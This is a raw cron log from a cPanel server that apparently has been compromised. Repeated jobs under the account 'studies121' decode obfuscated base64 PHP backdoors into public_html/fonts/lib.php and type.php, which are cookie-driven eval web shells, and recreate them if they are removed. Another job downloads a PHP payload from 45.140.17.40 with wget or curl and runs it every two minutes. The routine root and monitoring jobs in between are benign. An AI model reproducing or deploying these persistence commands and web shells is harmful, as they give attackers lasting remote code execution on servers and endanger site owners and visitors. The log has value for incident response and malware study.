Aug 30 09:04:01 ip-184-168-122-23 CROND[14767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14958]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:05:01 ip-184-168-122-23 CROND[14962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:06:02 ip-184-168-122-23 CROND[15065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:06:02 ip-184-168-122-23 CROND[15064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:06:02 ip-184-168-122-23 CROND[15067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:06:02 ip-184-168-122-23 CROND[15068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:06:02 ip-184-168-122-23 CROND[15066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:07:01 ip-184-168-122-23 CROND[15153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:07:02 ip-184-168-122-23 CROND[15155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:07:02 ip-184-168-122-23 CROND[15156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:07:02 ip-184-168-122-23 CROND[15157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:08:01 ip-184-168-122-23 CROND[15239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:08:01 ip-184-168-122-23 CROND[15242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:08:01 ip-184-168-122-23 CROND[15243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:08:01 ip-184-168-122-23 CROND[15244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:08:01 ip-184-168-122-23 CROND[15241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:09:01 ip-184-168-122-23 CROND[15331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:09:01 ip-184-168-122-23 CROND[15333]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 09:09:01 ip-184-168-122-23 CROND[15332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:09:01 ip-184-168-122-23 CROND[15334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:09:01 ip-184-168-122-23 CROND[15335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:10:02 ip-184-168-122-23 CROND[15522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:10:02 ip-184-168-122-23 CROND[15523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:10:02 ip-184-168-122-23 CROND[15524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:10:02 ip-184-168-122-23 CROND[15527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:10:02 ip-184-168-122-23 CROND[15528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:10:02 ip-184-168-122-23 CROND[15529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:10:02 ip-184-168-122-23 CROND[15534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:10:02 ip-184-168-122-23 CROND[15536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:11:01 ip-184-168-122-23 CROND[15623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:11:01 ip-184-168-122-23 CROND[15626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:11:01 ip-184-168-122-23 CROND[15627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:11:01 ip-184-168-122-23 CROND[15625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:12:01 ip-184-168-122-23 CROND[15718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:12:01 ip-184-168-122-23 CROND[15719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:12:01 ip-184-168-122-23 CROND[15722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:12:01 ip-184-168-122-23 CROND[15724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:12:01 ip-184-168-122-23 CROND[15725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:13:01 ip-184-168-122-23 CROND[15812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:13:01 ip-184-168-122-23 CROND[15815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:13:01 ip-184-168-122-23 CROND[15813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:13:01 ip-184-168-122-23 CROND[15814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:14:01 ip-184-168-122-23 CROND[15903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:14:01 ip-184-168-122-23 CROND[15904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:14:01 ip-184-168-122-23 CROND[15908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:14:01 ip-184-168-122-23 CROND[15906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:14:01 ip-184-168-122-23 CROND[15905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:15:01 ip-184-168-122-23 CROND[15993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:15:01 ip-184-168-122-23 CROND[15995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:15:01 ip-184-168-122-23 CROND[15997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:15:01 ip-184-168-122-23 CROND[15996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:15:01 ip-184-168-122-23 CROND[15998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:15:01 ip-184-168-122-23 CROND[16000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:16:01 ip-184-168-122-23 CROND[16188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:16:01 ip-184-168-122-23 CROND[16190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
